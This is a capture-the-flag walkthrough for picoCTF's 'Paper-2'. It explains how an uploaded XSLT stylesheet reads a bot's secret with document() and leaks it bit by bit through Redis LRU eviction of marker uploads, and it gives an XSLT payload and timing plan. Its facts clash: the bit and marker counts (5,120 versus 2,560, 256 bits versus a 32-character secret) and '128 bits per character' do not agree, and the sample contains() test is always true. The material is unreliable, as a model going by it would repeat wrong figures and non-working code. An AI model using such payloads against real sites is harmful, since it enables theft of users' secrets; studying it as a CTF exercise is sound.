Description
A piece of paper is a blank canvas, what do you want on yours? Source code: paper-2.tar .
Setup
Download and extract paper-2.tar.
Read the source code to understand the app's architecture: XSLT upload, Redis caching, bot visit flow, and CSP headers.
tar -xf paper-2.tarcat app.pycat *.xml *.xsl 2>/dev/nullSolution
Walk me through it- Step 1Understand the attack surfaceThe app stores a bot's secret cookie in Redis with a 60-second TTL and allows XSLT stylesheets to be uploaded. CSP is set to
script-src 'none'anddefault-src 'self', blocking JavaScript and external exfiltration. XSLT stylesheets can usedocument()to fetch the/secretendpoint with the bot's auth context, reading the secret from the HTML. The challenge is exfiltrating this same-origin data with no JS and no external URLs.bashcat app.pyLearn more
Content Security Policy (CSP) is an HTTP response header that instructs browsers to only load resources (scripts, images, stylesheets, fonts, etc.) from specified origins.
script-src 'none'blocks all JavaScript execution, anddefault-src 'self'restricts all other resources to the same origin. This makes traditional XSS-based data exfiltration impossible - you can't runfetch(attacker.com, {body: secret}).XSLT (XSL Transformations) is an XML-based language for transforming XML documents. The critical function here is
document(url), which fetches an external XML or HTML document and makes it available for processing within the stylesheet. Because the XSLT processor runs server-side or in the bot's browser context,document('/secret')fetches the secret with the bot's authentication cookies attached - a same-origin read that CSP does not block.The CSP restriction creates an unusual constraint: you can read the secret within the XSLT transformation, but you cannot send it to an external server. The solution must use an entirely different channel to leak information out - in this case, the Redis LRU eviction side-channel.
- Step 2Prepare marker pairs and prefill the Redis LRU bufferUpload two markers per bit (one for 'this bit is 0', one for 'this bit is 1') across 10 redundant replicas, then prefill with dummy files so the LRU clock is well-aged before the bot visit.python
python3 solve.py --phase preparebash# Uploads marker pairs and dummy files to establish LRU baselineA marker pair is two file uploads, one per possible value of a bit. The upload endpoint is
POST /marker/bit<N>_<bit_value>: e.g./marker/bit0_0and/marker/bit0_1. Each upload is a ~20 KB blob the server stashes in Redis as a single key. There are 256 secret bits × 2 values × 10 replicas = 5,120 marker keys total before the bot ever runs. (The numbers vary across solver writeups; the structure does not.)Learn more
Redis LRU eviction is a memory management policy where Redis automatically deletes the Least Recently Used keys when it reaches its memory limit (
maxmemory). Theallkeys-lrupolicy applies this to all keys regardless of TTL. The crucial property for this attack is that accessing a key (via GET, GETDEL, or even just rendering an image that causes a server-side Redis lookup) updates that key's "last used" timestamp.The attack uses Redis as an implicit output channel: the XSLT stylesheet conditionally accesses certain Redis keys based on the secret's bit values. After the bot visits, keys that were accessed have a fresh LRU timestamp and survive eviction; keys that were never accessed are old and get evicted. By checking which keys still exist, you reconstruct which bits are 1 and which are 0.
The 10-replica design provides majority voting to handle noise: if 6+ of the 10 replicas for a bit survived eviction, call that bit 1. The math: assume an independent failure rate of ~5% per replica (occasional out-of-order eviction, lost requests). The probability of 5+ failures out of 10 is roughly 0.4% per bit. Across 256 bits the chance of any bit being miscalled is ~1%, low enough that you usually get the secret right on the first
/flagattempt. Drop replicas to 5 and that error blows up to ~10% per attempt. - Step 3Deploy the XSLT payloadGenerate XSLT documents using
<xsl:if>withcontains()andsubstring()to test each hex character of the secret. For each bit that tests true, the stylesheet conditionally renders an<img>tag pointing to the corresponding '1' marker (which performs a Redisget(), refreshing its LRU timestamp). False bits leave the '0' markers untouched.bash# XSLT payload structure:bash<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="secret" select="document('/secret')//span[@id='secret']"/> <xsl:if test="contains('0123456789abcdef', substring($secret,1,1))"> <img src="/marker/bit0_1"/> </xsl:if> <!-- ... repeat for each bit position --> </xsl:template> </xsl:stylesheet>pythonpython3 solve.py --phase payloadLearn more
XSLT conditional rendering (
<xsl:if>) is key to this side channel. Thesubstring($secret, N, 1)function extracts the Nth character of the secret hex string. Thecontains('0123456789ab', char)predicate tests whether that character is in a specific set of hex digits, effectively probing individual bits of the secret without any JavaScript.The
<img src="/marker/bit_N_1"/>tag causes the browser (running as the bot) to make a GET request to the server for that marker image. The server processes this GET request, performs a Redis lookup for the marker key, and returns the image data. This Redis lookup is the crucial access that refreshes the LRU timestamp.The bit decomposition converts each hex character (4 bits) into 4 binary decisions: 32 hex chars × 4 bits = 128 bits per character (and 256 bits total if the secret is 64 hex chars). Each bit position N gets one XSLT
contains()test against the subset of hex digits where that bit is 1. For example, bit 3 (the high bit of a hex digit) is 1 for the digits{8, 9, a, b, c, d, e, f}, so the test iscontains('89abcdef', substring($secret, position, 1)). Bit 0 (the low bit) is 1 for{1, 3, 5, 7, 9, b, d, f}, and so on. This binary representation is critical becausecontains()can test set membership but not arbitrary comparisons. By decomposing into bits you reduce each test to a simple yes/no question answerable with XSLT's limited string functions. For more on these CSP-style web side-channels see Web challenges and real-world bug patterns. - Step 4Trigger the bot and run evictionSubmit your XSLT page to the bot, wait for every marker GET to land in Redis, and only then start the postfill that pushes maxmemory over the limit. Get the timing wrong and you evict the wrong markers.python
python3 solve.py --phase triggerbash# Submits page to bot, waits ~30s, then uploads postfill to trigger evictionConcrete timing budget for a 60s session TTL:
- t=0s: submit XSLT to the bot.
- t=0..25s: bot fetches markers; each GET refreshes that key's LRU timestamp.
- t=25..30s: quiet window. Do nothing. Lets every in-flight marker GET settle into Redis before any postfill writes change LRU ordering. Skipping this window is the most common reason runs fail.
- t=30..50s: postfill begins. Ramp uploads in parallel until Redis crosses maxmemory and starts evicting.
- t=50..58s: HEAD-probe markers to record survivors. Stop probing before the 60s TTL expires so you don't accidentally re-touch keys you haven't yet read.
The pre-fill from the previous step matters for the same reason: it ages every "0" marker to be older than the "1" markers the bot just touched, so the LRU evicts the right set.
Learn more
The timing of this attack is critical. The 60-second TTL on the bot's session means you have a hard deadline: the XSLT must process and all marker accesses must complete within that window. The ~25-second loading time for the conditional image requests is the main bottleneck - this is the time the bot spends rendering the page and fetching all the "1" markers.
The postfill phase is what triggers the actual eviction. By uploading ~4,500 large (60 KB) dummy files, you push Redis over its 512 MB memory limit. Redis then begins evicting keys in LRU order - oldest first. The untouched "0" markers (which were last accessed during the prepare phase, before the bot visit) are older than the recently-accessed "1" markers, so they get evicted first.
The timing between "bot finishes" and "postfill starts" is delicate: you must wait long enough for all marker requests to complete (so LRU timestamps are updated), but you must upload the postfill before the 60-second TTL expires (so the session is still valid during the XSLT processing). This is why the solve script has carefully tuned wait times.
- Step 5Recover the secret with HEAD requestsIssue HEAD requests to all 2,560 markers. Alive markers (response >100 bytes) were accessed by the bot = bit is '1'. Evicted markers = bit is '0'. Use majority voting across 10 replicas per bit to reconstruct the full 32-character hex secret. Submit it to
/flag- the endpoint usesgetdelso you only get one attempt.pythonpython3 solve.py --phase recoverbash# Queries all markers, reconstructs secret via majority vote, submits to /flagLearn more
The recovery phase uses HTTP HEAD requests (which fetch only headers, not body) to check whether each marker key still exists in Redis. A 200 response with content indicates the key is alive (bit = 1); a 404 or empty response indicates the key was evicted (bit = 0). Using HEAD instead of GET avoids accidentally refreshing the LRU timestamps of the remaining "0" markers during recovery.
The majority voting scheme with 10 replicas per bit handles noise from imperfect eviction ordering. If a bit's "1" marker was accidentally evicted (false negative) or a "0" marker survived (false positive), the other 9 replicas provide redundancy. Requiring 6+ out of 10 alive replicas to call a bit "1" gives a low error probability assuming eviction is roughly LRU-ordered.
The single-attempt constraint on
/flag(via Redisgetdel) is the highest-stakes element of the challenge. It means you must reconstruct the secret correctly on the first try. This motivates all the engineering around replicas, timing, and majority voting - there is no retry if the reconstruction is wrong.This attack is a beautiful example of a cache side-channel: information leaks not through direct output but through observable differences in cache state (which keys survived eviction). Similar techniques appear in CPU cache timing attacks like Spectre/Meltdown, DRAM-level Rowhammer attacks, and distributed cache timing attacks against web applications.
Flag
picoCTF{...}
Paper-2 is an XSLT + Redis LRU side-channel attack. Since CSP blocks JS and external URLs, XSLT's document() function reads the secret in-origin, and Redis eviction patterns leak which bits were accessed by the bot. The 60-second TTL and single-guess /flag endpoint make this a precision timing attack.